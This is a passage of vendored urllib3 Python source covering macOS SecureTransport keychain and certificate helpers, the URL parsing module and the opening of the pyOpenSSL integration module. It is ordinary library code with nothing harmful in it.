failure. 79 | """ 80 | cf_arr = None 81 | try: 82 | cf_arr = CoreFoundation.CFArrayCreateMutable( 83 | CoreFoundation.kCFAllocatorDefault, 84 | 0, 85 | ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), 86 | ) 87 | if not cf_arr: 88 | raise MemoryError("Unable to allocate memory!") 89 | for item in lst: 90 | cf_str = _cfstr(item) 91 | if not cf_str: 92 | raise MemoryError("Unable to allocate memory!") 93 | try: 94 | CoreFoundation.CFArrayAppendValue(cf_arr, cf_str) 95 | finally: 96 | CoreFoundation.CFRelease(cf_str) 97 | except BaseException as e: 98 | if cf_arr: 99 | CoreFoundation.CFRelease(cf_arr) 100 | raise ssl.SSLError("Unable to allocate array: %s" % (e,)) 101 | return cf_arr 102 | 103 | 104 | def _cf_string_to_unicode(value): 105 | """ 106 | Creates a Unicode string from a CFString object. Used entirely for error 107 | reporting. 108 | 109 | Yes, it annoys me quite a lot that this function is this complex. 110 | """ 111 | value_as_void_p = ctypes.cast(value, ctypes.POINTER(ctypes.c_void_p)) 112 | 113 | string = CoreFoundation.CFStringGetCStringPtr( 114 | value_as_void_p, CFConst.kCFStringEncodingUTF8 115 | ) 116 | if string is None: 117 | buffer = ctypes.create_string_buffer(1024) 118 | result = CoreFoundation.CFStringGetCString( 119 | value_as_void_p, buffer, 1024, CFConst.kCFStringEncodingUTF8 120 | ) 121 | if not result: 122 | raise OSError("Error copying C string from CFStringRef") 123 | string = buffer.value 124 | if string is not None: 125 | string = string.decode("utf-8") 126 | return string 127 | 128 | 129 | def _assert_no_error(error, exception_class=None): 130 | """ 131 | Checks the return code and throws an exception if there is an error to 132 | report 133 | """ 134 | if error == 0: 135 | return 136 | 137 | cf_error_string = Security.SecCopyErrorMessageString(error, None) 138 | output = _cf_string_to_unicode(cf_error_string) 139 | CoreFoundation.CFRelease(cf_error_string) 140 | 141 | if output is None or output == u"": 142 | output = u"OSStatus %s" % error 143 | 144 | if exception_class is None: 145 | exception_class = ssl.SSLError 146 | 147 | raise exception_class(output) 148 | 149 | 150 | def _cert_array_from_pem(pem_bundle): 151 | """ 152 | Given a bundle of certs in PEM format, turns them into a CFArray of certs 153 | that can be used to validate a cert chain. 154 | """ 155 | # Normalize the PEM bundle's line endings. 156 | pem_bundle = pem_bundle.replace(b"\r\n", b"\n") 157 | 158 | der_certs = [ 159 | base64.b64decode(match.group(1)) for match in _PEM_CERTS_RE.finditer(pem_bundle) 160 | ] 161 | if not der_certs: 162 | raise ssl.SSLError("No root certificates specified") 163 | 164 | cert_array = CoreFoundation.CFArrayCreateMutable( 165 | CoreFoundation.kCFAllocatorDefault, 166 | 0, 167 | ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), 168 | ) 169 | if not cert_array: 170 | raise ssl.SSLError("Unable to allocate memory!") 171 | 172 | try: 173 | for der_bytes in der_certs: 174 | certdata = _cf_data_from_bytes(der_bytes) 175 | if not certdata: 176 | raise ssl.SSLError("Unable to allocate memory!") 177 | cert = Security.SecCertificateCreateWithData( 178 | CoreFoundation.kCFAllocatorDefault, certdata 179 | ) 180 | CoreFoundation.CFRelease(certdata) 181 | if not cert: 182 | raise ssl.SSLError("Unable to build cert object!") 183 | 184 | CoreFoundation.CFArrayAppendValue(cert_array, cert) 185 | CoreFoundation.CFRelease(cert) 186 | except Exception: 187 | # We need to free the array before the exception bubbles further. 188 | # We only want to do that if an error occurs: otherwise, the caller 189 | # should free. 190 | CoreFoundation.CFRelease(cert_array) 191 | raise 192 | 193 | return cert_array 194 | 195 | 196 | def _is_cert(item): 197 | """ 198 | Returns True if a given CFTypeRef is a certificate. 199 | """ 200 | expected = Security.SecCertificateGetTypeID() 201 | return CoreFoundation.CFGetTypeID(item) == expected 202 | 203 | 204 | def _is_identity(item): 205 | """ 206 | Returns True if a given CFTypeRef is an identity. 207 | """ 208 | expected = Security.SecIdentityGetTypeID() 209 | return CoreFoundation.CFGetTypeID(item) == expected 210 | 211 | 212 | def _temporary_keychain(): 213 | """ 214 | This function creates a temporary Mac keychain that we can use to work with 215 | credentials. This keychain uses a one-time password and a temporary file to 216 | store the data. We expect to have one keychain per socket. The returned 217 | SecKeychainRef must be freed by the caller, including calling 218 | SecKeychainDelete. 219 | 220 | Returns a tuple of the SecKeychainRef and the path to the temporary 221 | directory that contains it. 222 | """ 223 | # Unfortunately, SecKeychainCreate requires a path to a keychain. This 224 | # means we cannot use mkstemp to use a generic temporary file. Instead, 225 | # we're going to create a temporary directory and a filename to use there. 226 | # This filename will be 8 random bytes expanded into base64. We also need 227 | # some random bytes to password-protect the keychain we're creating, so we 228 | # ask for 40 random bytes. 229 | random_bytes = os.urandom(40) 230 | filename = base64.b16encode(random_bytes[:8]).decode("utf-8") 231 | password = base64.b16encode(random_bytes[8:]) # Must be valid UTF-8 232 | tempdirectory = tempfile.mkdtemp() 233 | 234 | keychain_path = os.path.join(tempdirectory, filename).encode("utf-8") 235 | 236 | # We now want to create the keychain itself. 237 | keychain = Security.SecKeychainRef() 238 | status = Security.SecKeychainCreate( 239 | keychain_path, len(password), password, False, None, ctypes.byref(keychain) 240 | ) 241 | _assert_no_error(status) 242 | 243 | # Having created the keychain, we want to pass it off to the caller. 244 | return keychain, tempdirectory 245 | 246 | 247 | def _load_items_from_file(keychain, path): 248 | """ 249 | Given a single file, loads all the trust objects from it into arrays and 250 | the keychain. 251 | Returns a tuple of lists: the first list is a list of identities, the 252 | second a list of certs. 253 | """ 254 | certificates = [] 255 | identities = [] 256 | result_array = None 257 | 258 | with open(path, "rb") as f: 259 | raw_filedata = f.read() 260 | 261 | try: 262 | filedata = CoreFoundation.CFDataCreate( 263 | CoreFoundation.kCFAllocatorDefault, raw_filedata, len(raw_filedata) 264 | ) 265 | result_array = CoreFoundation.CFArrayRef() 266 | result = Security.SecItemImport( 267 | filedata, # cert data 268 | None, # Filename, leaving it out for now 269 | None, # What the type of the file is, we don't care 270 | None, # what's in the file, we don't care 271 | 0, # import flags 272 | None, # key params, can include passphrase in the future 273 | keychain, # The keychain to insert into 274 | ctypes.byref(result_array), # Results 275 | ) 276 | _assert_no_error(result) 277 | 278 | # A CFArray is not very useful to us as an intermediary 279 | # representation, so we are going to extract the objects we want 280 | # and then free the array. We don't need to keep hold of keys: the 281 | # keychain already has them! 282 | result_count = CoreFoundation.CFArrayGetCount(result_array) 283 | for index in range(result_count): 284 | item = CoreFoundation.CFArrayGetValueAtIndex(result_array, index) 285 | item = ctypes.cast(item, CoreFoundation.CFTypeRef) 286 | 287 | if _is_cert(item): 288 | CoreFoundation.CFRetain(item) 289 | certificates.append(item) 290 | elif _is_identity(item): 291 | CoreFoundation.CFRetain(item) 292 | identities.append(item) 293 | finally: 294 | if result_array: 295 | CoreFoundation.CFRelease(result_array) 296 | 297 | CoreFoundation.CFRelease(filedata) 298 | 299 | return (identities, certificates) 300 | 301 | 302 | def _load_client_cert_chain(keychain, *paths): 303 | """ 304 | Load certificates and maybe keys from a number of files. Has the end goal 305 | of returning a CFArray containing one SecIdentityRef, and then zero or more 306 | SecCertificateRef objects, suitable for use as a client certificate trust 307 | chain. 308 | """ 309 | # Ok, the strategy. 310 | # 311 | # This relies on knowing that macOS will not give you a SecIdentityRef 312 | # unless you have imported a key into a keychain. This is a somewhat 313 | # artificial limitation of macOS (for example, it doesn't necessarily 314 | # affect iOS), but there is nothing inside Security.framework that lets you 315 | # get a SecIdentityRef without having a key in a keychain. 316 | # 317 | # So the policy here is we take all the files and iterate them in order. 318 | # Each one will use SecItemImport to have one or more objects loaded from 319 | # it. We will also point at a keychain that macOS can use to work with the 320 | # private key. 321 | # 322 | # Once we have all the objects, we'll check what we actually have. If we 323 | # already have a SecIdentityRef in hand, fab: we'll use that. Otherwise, 324 | # we'll take the first certificate (which we assume to be our leaf) and 325 | # ask the keychain to give us a SecIdentityRef with that cert's associated 326 | # key. 327 | # 328 | # We'll then return a CFArray containing the trust chain: one 329 | # SecIdentityRef and then zero-or-more SecCertificateRef objects. The 330 | # responsibility for freeing this CFArray will be with the caller. This 331 | # CFArray must remain alive for the entire connection, so in practice it 332 | # will be stored with a single SSLSocket, along with the reference to the 333 | # keychain. 334 | certificates = [] 335 | identities = [] 336 | 337 | # Filter out bad paths. 338 | paths = (path for path in paths if path) 339 | 340 | try: 341 | for file_path in paths: 342 | new_identities, new_certs = _load_items_from_file(keychain, file_path) 343 | identities.extend(new_identities) 344 | certificates.extend(new_certs) 345 | 346 | # Ok, we have everything. The question is: do we have an identity? If 347 | # not, we want to grab one from the first cert we have. 348 | if not identities: 349 | new_identity = Security.SecIdentityRef() 350 | status = Security.SecIdentityCreateWithCertificate( 351 | keychain, certificates[0], ctypes.byref(new_identity) 352 | ) 353 | _assert_no_error(status) 354 | identities.append(new_identity) 355 | 356 | # We now want to release the original certificate, as we no longer 357 | # need it. 358 | CoreFoundation.CFRelease(certificates.pop(0)) 359 | 360 | # We now need to build a new CFArray that holds the trust chain. 361 | trust_chain = CoreFoundation.CFArrayCreateMutable( 362 | CoreFoundation.kCFAllocatorDefault, 363 | 0, 364 | ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), 365 | ) 366 | for item in itertools.chain(identities, certificates): 367 | # ArrayAppendValue does a CFRetain on the item. That's fine, 368 | # because the finally block will release our other refs to them. 369 | CoreFoundation.CFArrayAppendValue(trust_chain, item) 370 | 371 | return trust_chain 372 | finally: 373 | for obj in itertools.chain(identities, certificates): 374 | CoreFoundation.CFRelease(obj) 375 | 376 | 377 | TLS_PROTOCOL_VERSIONS = { 378 | "SSLv2": (0, 2), 379 | "SSLv3": (3, 0), 380 | "TLSv1": (3, 1), 381 | "TLSv1.1": (3, 2), 382 | "TLSv1.2": (3, 3), 383 | } 384 | 385 | 386 | def _build_tls_unknown_ca_alert(version): 387 | """ 388 | Builds a TLS alert record for an unknown CA. 389 | """ 390 | ver_maj, ver_min = TLS_PROTOCOL_VERSIONS[version] 391 | severity_fatal = 0x02 392 | description_unknown_ca = 0x30 393 | msg = struct.pack(">BB", severity_fatal, description_unknown_ca) 394 | msg_len = len(msg) 395 | record_type_alert = 0x15 396 | record = struct.pack(">BBBH", record_type_alert, ver_maj, ver_min, msg_len) + msg 397 | return record 398 | -------------------------------------------------------------------------------- /modules/urllib3/util/url.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import re 4 | from collections import namedtuple 5 | 6 | from ..exceptions import LocationParseError 7 | from ..packages import six 8 | 9 | url_attrs = ["scheme", "auth", "host", "port", "path", "query", "fragment"] 10 | 11 | # We only want to normalize urls with an HTTP(S) scheme. 12 | # urllib3 infers URLs without a scheme (None) to be http. 13 | NORMALIZABLE_SCHEMES = ("http", "https", None) 14 | 15 | # Almost all of these patterns were derived from the 16 | # 'rfc3986' module: https://github.com/python-hyper/rfc3986 17 | PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}") 18 | SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]*:|/)") 19 | URI_RE = re.compile( 20 | r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?" 21 | r"(?://([^\\/?#]*))?" 22 | r"([^?#]*)" 23 | r"(?:\?([^#]*))?" 24 | r"(?:#(.*))?$", 25 | re.UNICODE | re.DOTALL, 26 | ) 27 | 28 | IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}" 29 | HEX_PAT = "[0-9A-Fa-f]{1,4}" 30 | LS32_PAT = "(?:{hex}:{hex}|{ipv4})".format(hex=HEX_PAT, ipv4=IPV4_PAT) 31 | _subs = {"hex": HEX_PAT, "ls32": LS32_PAT} 32 | _variations = [ 33 | # 6( h16 ":" ) ls32 34 | "(?:%(hex)s:){6}%(ls32)s", 35 | # "::" 5( h16 ":" ) ls32 36 | "::(?:%(hex)s:){5}%(ls32)s", 37 | # [ h16 ] "::" 4( h16 ":" ) ls32 38 | "(?:%(hex)s)?::(?:%(hex)s:){4}%(ls32)s", 39 | # [ *1( h16 ":" ) h16 ] "::" 3( h16 ":" ) ls32 40 | "(?:(?:%(hex)s:)?%(hex)s)?::(?:%(hex)s:){3}%(ls32)s", 41 | # [ *2( h16 ":" ) h16 ] "::" 2( h16 ":" ) ls32 42 | "(?:(?:%(hex)s:){0,2}%(hex)s)?::(?:%(hex)s:){2}%(ls32)s", 43 | # [ *3( h16 ":" ) h16 ] "::" h16 ":" ls32 44 | "(?:(?:%(hex)s:){0,3}%(hex)s)?::%(hex)s:%(ls32)s", 45 | # [ *4( h16 ":" ) h16 ] "::" ls32 46 | "(?:(?:%(hex)s:){0,4}%(hex)s)?::%(ls32)s", 47 | # [ *5( h16 ":" ) h16 ] "::" h16 48 | "(?:(?:%(hex)s:){0,5}%(hex)s)?::%(hex)s", 49 | # [ *6( h16 ":" ) h16 ] "::" 50 | "(?:(?:%(hex)s:){0,6}%(hex)s)?::", 51 | ] 52 | 53 | UNRESERVED_PAT = r"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._!\-~" 54 | IPV6_PAT = "(?:" + "|".join([x % _subs for x in _variations]) + ")" 55 | ZONE_ID_PAT = "(?:%25|%)(?:[" + UNRESERVED_PAT + "]|%[a-fA-F0-9]{2})+" 56 | IPV6_ADDRZ_PAT = r"\[" + IPV6_PAT + r"(?:" + ZONE_ID_PAT + r")?\]" 57 | REG_NAME_PAT = r"(?:[^\[\]%:/?#]|%[a-fA-F0-9]{2})*" 58 | TARGET_RE = re.compile(r"^(/[^?#]*)(?:\?([^#]*))?(?:#.*)?$") 59 | 60 | IPV4_RE = re.compile("^" + IPV4_PAT + "$") 61 | IPV6_RE = re.compile("^" + IPV6_PAT + "$") 62 | IPV6_ADDRZ_RE = re.compile("^" + IPV6_ADDRZ_PAT + "$") 63 | BRACELESS_IPV6_ADDRZ_RE = re.compile("^" + IPV6_ADDRZ_PAT[2:-2] + "$") 64 | ZONE_ID_RE = re.compile("(" + ZONE_ID_PAT + r")\]$") 65 | 66 | _HOST_PORT_PAT = ("^(%s|%s|%s)(?::([0-9]{0,5}))?$") % ( 67 | REG_NAME_PAT, 68 | IPV4_PAT, 69 | IPV6_ADDRZ_PAT, 70 | ) 71 | _HOST_PORT_RE = re.compile(_HOST_PORT_PAT, re.UNICODE | re.DOTALL) 72 | 73 | UNRESERVED_CHARS = set( 74 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-~" 75 | ) 76 | SUB_DELIM_CHARS = set("!$&'()*+,;=") 77 | USERINFO_CHARS = UNRESERVED_CHARS | SUB_DELIM_CHARS | {":"} 78 | PATH_CHARS = USERINFO_CHARS | {"@", "/"} 79 | QUERY_CHARS = FRAGMENT_CHARS = PATH_CHARS | {"?"} 80 | 81 | 82 | class Url(namedtuple("Url", url_attrs)): 83 | """ 84 | Data structure for representing an HTTP URL. Used as a return value for 85 | :func:`parse_url`. Both the scheme and host are normalized as they are 86 | both case-insensitive according to RFC 3986. 87 | """ 88 | 89 | __slots__ = () 90 | 91 | def __new__( 92 | cls, 93 | scheme=None, 94 | auth=None, 95 | host=None, 96 | port=None, 97 | path=None, 98 | query=None, 99 | fragment=None, 100 | ): 101 | if path and not path.startswith("/"): 102 | path = "/" + path 103 | if scheme is not None: 104 | scheme = scheme.lower() 105 | return super(Url, cls).__new__( 106 | cls, scheme, auth, host, port, path, query, fragment 107 | ) 108 | 109 | @property 110 | def hostname(self): 111 | """For backwards-compatibility with urlparse. We're nice like that.""" 112 | return self.host 113 | 114 | @property 115 | def request_uri(self): 116 | """Absolute path including the query string.""" 117 | uri = self.path or "/" 118 | 119 | if self.query is not None: 120 | uri += "?" + self.query 121 | 122 | return uri 123 | 124 | @property 125 | def netloc(self): 126 | """Network location including host and port""" 127 | if self.port: 128 | return "%s:%d" % (self.host, self.port) 129 | return self.host 130 | 131 | @property 132 | def url(self): 133 | """ 134 | Convert self into a url 135 | 136 | This function should more or less round-trip with :func:`.parse_url`. The 137 | returned url may not be exactly the same as the url inputted to 138 | :func:`.parse_url`, but it should be equivalent by the RFC (e.g., urls 139 | with a blank port will have : removed). 140 | 141 | Example: :: 142 | 143 | >>> U = parse_url('http://google.com/mail/') 144 | >>> U.url 145 | 'http://google.com/mail/' 146 | >>> Url('http', 'username:password', 'host.com', 80, 147 | ... '/path', 'query', 'fragment').url 148 | 'http://username:password@host.com:80/path?query#fragment' 149 | """ 150 | scheme, auth, host, port, path, query, fragment = self 151 | url = u"" 152 | 153 | # We use "is not None" we want things to happen with empty strings (or 0 port) 154 | if scheme is not None: 155 | url += scheme + u"://" 156 | if auth is not None: 157 | url += auth + u"@" 158 | if host is not None: 159 | url += host 160 | if port is not None: 161 | url += u":" + str(port) 162 | if path is not None: 163 | url += path 164 | if query is not None: 165 | url += u"?" + query 166 | if fragment is not None: 167 | url += u"#" + fragment 168 | 169 | return url 170 | 171 | def __str__(self): 172 | return self.url 173 | 174 | 175 | def split_first(s, delims): 176 | """ 177 | .. deprecated:: 1.25 178 | 179 | Given a string and an iterable of delimiters, split on the first found 180 | delimiter. Return two split parts and the matched delimiter. 181 | 182 | If not found, then the first part is the full input string. 183 | 184 | Example:: 185 | 186 | >>> split_first('foo/bar?baz', '?/=') 187 | ('foo', 'bar?baz', '/') 188 | >>> split_first('foo/bar?baz', '123') 189 | ('foo/bar?baz', '', None) 190 | 191 | Scales linearly with number of delims. Not ideal for large number of delims. 192 | """ 193 | min_idx = None 194 | min_delim = None 195 | for d in delims: 196 | idx = s.find(d) 197 | if idx < 0: 198 | continue 199 | 200 | if min_idx is None or idx < min_idx: 201 | min_idx = idx 202 | min_delim = d 203 | 204 | if min_idx is None or min_idx < 0: 205 | return s, "", None 206 | 207 | return s[:min_idx], s[min_idx + 1 :], min_delim 208 | 209 | 210 | def _encode_invalid_chars(component, allowed_chars, encoding="utf-8"): 211 | """Percent-encodes a URI component without reapplying 212 | onto an already percent-encoded component. 213 | """ 214 | if component is None: 215 | return component 216 | 217 | component = six.ensure_text(component) 218 | 219 | # Normalize existing percent-encoded bytes. 220 | # Try to see if the component we're encoding is already percent-encoded 221 | # so we can skip all '%' characters but still encode all others. 222 | component, percent_encodings = PERCENT_RE.subn( 223 | lambda match: match.group(0).upper(), component 224 | ) 225 | 226 | uri_bytes = component.encode("utf-8", "surrogatepass") 227 | is_percent_encoded = percent_encodings == uri_bytes.count(b"%") 228 | encoded_component = bytearray() 229 | 230 | for i in range(0, len(uri_bytes)): 231 | # Will return a single character bytestring on both Python 2 & 3 232 | byte = uri_bytes[i : i + 1] 233 | byte_ord = ord(byte) 234 | if (is_percent_encoded and byte == b"%") or ( 235 | byte_ord < 128 and byte.decode() in allowed_chars 236 | ): 237 | encoded_component += byte 238 | continue 239 | encoded_component.extend(b"%" + (hex(byte_ord)[2:].encode().zfill(2).upper())) 240 | 241 | return encoded_component.decode(encoding) 242 | 243 | 244 | def _remove_path_dot_segments(path): 245 | # See http://tools.ietf.org/html/rfc3986#section-5.2.4 for pseudo-code 246 | segments = path.split("/") # Turn the path into a list of segments 247 | output = [] # Initialize the variable to use to store output 248 | 249 | for segment in segments: 250 | # '.' is the current directory, so ignore it, it is superfluous 251 | if segment == ".": 252 | continue 253 | # Anything other than '..', should be appended to the output 254 | elif segment != "..": 255 | output.append(segment) 256 | # In this case segment == '..', if we can, we should pop the last 257 | # element 258 | elif output: 259 | output.pop() 260 | 261 | # If the path starts with '/' and the output is empty or the first string 262 | # is non-empty 263 | if path.startswith("/") and (not output or output[0]): 264 | output.insert(0, "") 265 | 266 | # If the path starts with '/.' or '/..' ensure we add one more empty 267 | # string to add a trailing '/' 268 | if path.endswith(("/.", "/..")): 269 | output.append("") 270 | 271 | return "/".join(output) 272 | 273 | 274 | def _normalize_host(host, scheme): 275 | if host: 276 | if isinstance(host, six.binary_type): 277 | host = six.ensure_str(host) 278 | 279 | if scheme in NORMALIZABLE_SCHEMES: 280 | is_ipv6 = IPV6_ADDRZ_RE.match(host) 281 | if is_ipv6: 282 | match = ZONE_ID_RE.search(host) 283 | if match: 284 | start, end = match.span(1) 285 | zone_id = host[start:end] 286 | 287 | if zone_id.startswith("%25") and zone_id != "%25": 288 | zone_id = zone_id[3:] 289 | else: 290 | zone_id = zone_id[1:] 291 | zone_id = "%" + _encode_invalid_chars(zone_id, UNRESERVED_CHARS) 292 | return host[:start].lower() + zone_id + host[end:] 293 | else: 294 | return host.lower() 295 | elif not IPV4_RE.match(host): 296 | return six.ensure_str( 297 | b".".join([_idna_encode(label) for label in host.split(".")]) 298 | ) 299 | return host 300 | 301 | 302 | def _idna_encode(name): 303 | if name and any([ord(x) > 128 for x in name]): 304 | try: 305 | import idna 306 | except ImportError: 307 | six.raise_from( 308 | LocationParseError("Unable to parse URL without the 'idna' module"), 309 | None, 310 | ) 311 | try: 312 | return idna.encode(name.lower(), strict=True, std3_rules=True) 313 | except idna.IDNAError: 314 | six.raise_from( 315 | LocationParseError(u"Name '%s' is not a valid IDNA label" % name), None 316 | ) 317 | return name.lower().encode("ascii") 318 | 319 | 320 | def _encode_target(target): 321 | """Percent-encodes a request target so that there are no invalid characters""" 322 | path, query = TARGET_RE.match(target).groups() 323 | target = _encode_invalid_chars(path, PATH_CHARS) 324 | query = _encode_invalid_chars(query, QUERY_CHARS) 325 | if query is not None: 326 | target += "?" + query 327 | return target 328 | 329 | 330 | def parse_url(url): 331 | """ 332 | Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is 333 | performed to parse incomplete urls. Fields not provided will be None. 334 | This parser is RFC 3986 compliant. 335 | 336 | The parser logic and helper functions are based heavily on 337 | work done in the ``rfc3986`` module. 338 | 339 | :param str url: URL to parse into a :class:`.Url` namedtuple. 340 | 341 | Partly backwards-compatible with :mod:`urlparse`. 342 | 343 | Example:: 344 | 345 | >>> parse_url('http://google.com/mail/') 346 | Url(scheme='http', host='google.com', port=None, path='/mail/', ...) 347 | >>> parse_url('google.com:80') 348 | Url(scheme=None, host='google.com', port=80, path=None, ...) 349 | >>> parse_url('/foo?bar') 350 | Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...) 351 | """ 352 | if not url: 353 | # Empty 354 | return Url() 355 | 356 | source_url = url 357 | if not SCHEME_RE.search(url): 358 | url = "//" + url 359 | 360 | try: 361 | scheme, authority, path, query, fragment = URI_RE.match(url).groups() 362 | normalize_uri = scheme is None or scheme.lower() in NORMALIZABLE_SCHEMES 363 | 364 | if scheme: 365 | scheme = scheme.lower() 366 | 367 | if authority: 368 | auth, _, host_port = authority.rpartition("@") 369 | auth = auth or None 370 | host, port = _HOST_PORT_RE.match(host_port).groups() 371 | if auth and normalize_uri: 372 | auth = _encode_invalid_chars(auth, USERINFO_CHARS) 373 | if port == "": 374 | port = None 375 | else: 376 | auth, host, port = None, None, None 377 | 378 | if port is not None: 379 | port = int(port) 380 | if not (0 <= port <= 65535): 381 | raise LocationParseError(url) 382 | 383 | host = _normalize_host(host, scheme) 384 | 385 | if normalize_uri and path: 386 | path = _remove_path_dot_segments(path) 387 | path = _encode_invalid_chars(path, PATH_CHARS) 388 | if normalize_uri and query: 389 | query = _encode_invalid_chars(query, QUERY_CHARS) 390 | if normalize_uri and fragment: 391 | fragment = _encode_invalid_chars(fragment, FRAGMENT_CHARS) 392 | 393 | except (ValueError, AttributeError): 394 | return six.raise_from(LocationParseError(source_url), None) 395 | 396 | # For the sake of backwards compatibility we put empty 397 | # string values for path if there are any defined values 398 | # beyond the path in the URL. 399 | # TODO: Remove this when we break backwards compatibility. 400 | if not path: 401 | if query is not None or fragment is not None: 402 | path = "" 403 | else: 404 | path = None 405 | 406 | # Ensure that each part of the URL is a `str` for 407 | # backwards compatibility. 408 | if isinstance(url, six.text_type): 409 | ensure_func = six.ensure_text 410 | else: 411 | ensure_func = six.ensure_str 412 | 413 | def ensure_type(x): 414 | return x if x is None else ensure_func(x) 415 | 416 | return Url( 417 | scheme=ensure_type(scheme), 418 | auth=ensure_type(auth), 419 | host=ensure_type(host), 420 | port=port, 421 | path=ensure_type(path), 422 | query=ensure_type(query), 423 | fragment=ensure_type(fragment), 424 | ) 425 | 426 | 427 | def get_host(url): 428 | """ 429 | Deprecated. Use :func:`parse_url` instead. 430 | """ 431 | p = parse_url(url) 432 | return p.scheme or "http", p.hostname, p.port 433 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/pyopenssl.py: -------------------------------------------------------------------------------- 1 | """ 2 | TLS with SNI_-support for Python 2. Follow these instructions if you would 3 | like to verify TLS certificates in Python 2. Note, the default libraries do 4 | *not* do certificate checking; you need to do additional work to validate 5 | certificates yourself. 6 | 7 | This needs the following packages installed: 8 | 9 | * `pyOpenSSL`_ (tested with 16.0.0) 10 | * `cryptography`_ (minimum 1.3.4, from pyopenssl) 11 | * `idna`_ (minimum 2.0, from cryptography) 12 | 13 | However, pyopenssl depends on cryptography, which depends on idna, so while we 14 | use all three directly here we end up having relatively few packages required. 15 | 16 | You can install them with the following command: 17 | 18 | .. code-block:: bash 19 | 20 | $ python -m pip install pyopenssl cryptography idna 21 | 22 | To activate certificate checking, call 23 | :func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code 24 | before you begin making HTTP requests. This can be done in a ``sitecustomize`` 25 | module, or at any other time before your application begins using ``urllib3``, 26 | like this: 27 | 28 | .. code-block:: python 29 | 30 | try: 31 | import urllib3.contrib.pyopenssl 32 | urllib3.contrib.pyopenssl.inject_into_urllib3() 33 | except ImportError: 34 | pass 35 | 36 | Now you can use :mod:`urllib3` as you normally would, and it will support SNI 37 | when the required modules are installed. 38 | 39 | Activating this module also has the positive side effect of disabling SSL/TLS 40 | compression in Python 2 (see `CRIME attack`_). 41 | 42 | .. _sni: https://en.wikipedia.org/wiki/Server_Name_Indication 43 | .. _crime attack: https://en.wikipedia.org/wiki/CRIME_(security_exploit) 44 | .. _pyopenssl: https://www.pyopenssl.org 45 | .. _cryptography: https://cryptography.io 46 | .. _idna: https://github.com/kjd/idna 47 | """ 48 | from __future__ import absolute_import 49 | 50 | import OpenSSL.SSL 51 | from cryptography import x509 52 | from cryptography.hazmat.backends.openssl import backend as openssl_backend 53 | from cryptography.hazmat.backends.openssl.x509 import _Certificate 54 | 55 | try: 56 | from cryptography.x509 import UnsupportedExtension 57 | except ImportError: 58 | # UnsupportedExtension is gone in cryptography >= 2.1.0 59 | class UnsupportedExtension(Exception): 60 | pass 61 | 62 | 63 | from io import BytesIO 64 | from socket import error as SocketError 65 | from socket import timeout 66 | 67 | try: # Platform-specific: Python 2 68 | from socket import _fileobject 69 | except ImportError: # Platform-specific: Python 3 70 | _fileobject = None 71 | from ..packages.backports.makefile import backport_makefile 72 | 73 | import logging 74 | import ssl 75 | import sys 76 | 77 | from .. import util 78 | from ..packages import six 79 | from ..util.ssl_ import PROTOCOL_TLS_CLIENT 80 | 81 | __all__ = ["inject_into_urllib3", "extract_from_urllib3"] 82 | 83 | # SNI always works. 84 | HAS_SNI = True 85 | 86 | # Map from urllib3 to PyOpenSSL compatible parameter-values. 87 | _openssl_versions = { 88 | util.PROTOCOL_TLS: OpenSSL.SSL.SSLv23_METHOD, 89 | PROTOCOL_TLS_CLIENT: OpenSSL.SSL.SSLv23_METHOD, 90 | ssl.PROTOCOL_TLSv1: OpenSSL.SSL.TLSv1_METHOD, 91 | } 92 | 93 | if hasattr(ssl, "PROTOCOL_SSLv3") and hasattr(OpenSSL.SSL, "SSLv3_METHOD"): 94 | _openssl_versions[ssl.PROTOCOL_SSLv3] = OpenSSL.SSL.SSLv3_METHOD 95 | 96 | if hasattr(ssl, "PROTOCOL_TLSv1_1") and hasattr(OpenSSL.SSL, "TLSv1_1_METHOD"): 97 | _openssl_versions[ssl.PROTOCOL_TLSv1_1] = OpenSSL.SSL.TLSv1_1_METHOD 98 | 99 | if hasattr(ssl, "PROTOCOL_TLSv1_2") and hasattr(OpenSSL.SSL, "TLSv1_2_METHOD"): 100 | _openssl_versions[ssl.PROTOCOL_TLSv1_2] = OpenSSL.SSL.TLSv1_2_METHOD 101 | 102 | 103 | _stdlib_to_openssl_verify = { 104 | ssl.CERT_NONE: OpenSSL.SSL.VERIFY_NONE, 105 | ssl.CERT_OPTIONAL: OpenSSL.SSL.VERIFY_PEER, 106 | ssl.CERT_REQUIRED: OpenSSL.SSL.VERIFY_PEER 107 | + OpenSSL.SSL.VERIFY_FAIL_IF_NO_PEER_CERT, 108 | } 109 | _openssl_to_stdlib_verify = dict((v, k) for k, v in _stdlib_to_openssl_verify.items()) 110 | 111 | # OpenSSL will only write 16K at a time 112 | SSL_WRITE_BLOCKSIZE = 16384 113 | 114 | orig_util_HAS_SNI = util.HAS_SNI 115 | orig_util_SSLContext = util.ssl_.SSLContext 116 | 117 | 118 | log = logging.getLogger(__name__) 119 | 120 | 121 | def inject_into_urllib3(): 122 | "Monkey-patch urllib3 with PyOpenSSL-backed SSL-support." 123 | 124 | _validate_dependencies_met() 125 | 126 | util.SSLContext = PyOpenSSLContext 127 | util.ssl_.SSLContext = PyOpenSSLContext 128 | util.HAS_SNI = HAS_SNI 129 | util.ssl_.HAS_SNI = HAS_SNI 130 | util.IS_PYOPENSSL = True 131 | util.ssl_.IS_PYOPENSSL = True 132 | 133 | 134 | def extract_from_urllib3(): 135 | "Undo monkey-patching by :func:`inject_into_urllib3`." 136 | 137 | util.SSLContext = orig_util_SSLContext 138 | util.ssl_.SSLContext = orig_util_SSLContext 139 | util.HAS_SNI = orig_util_HAS_SNI 140 | util.ssl_.HAS_SNI = orig_util_HAS_SNI 141 | util.IS_PYOPENSSL = False 142 | util.ssl_.IS_PYOPENSSL = False 143 | 144 | 145 | def _validate_dependencies_met(): 146 | """ 147 | Verifies that 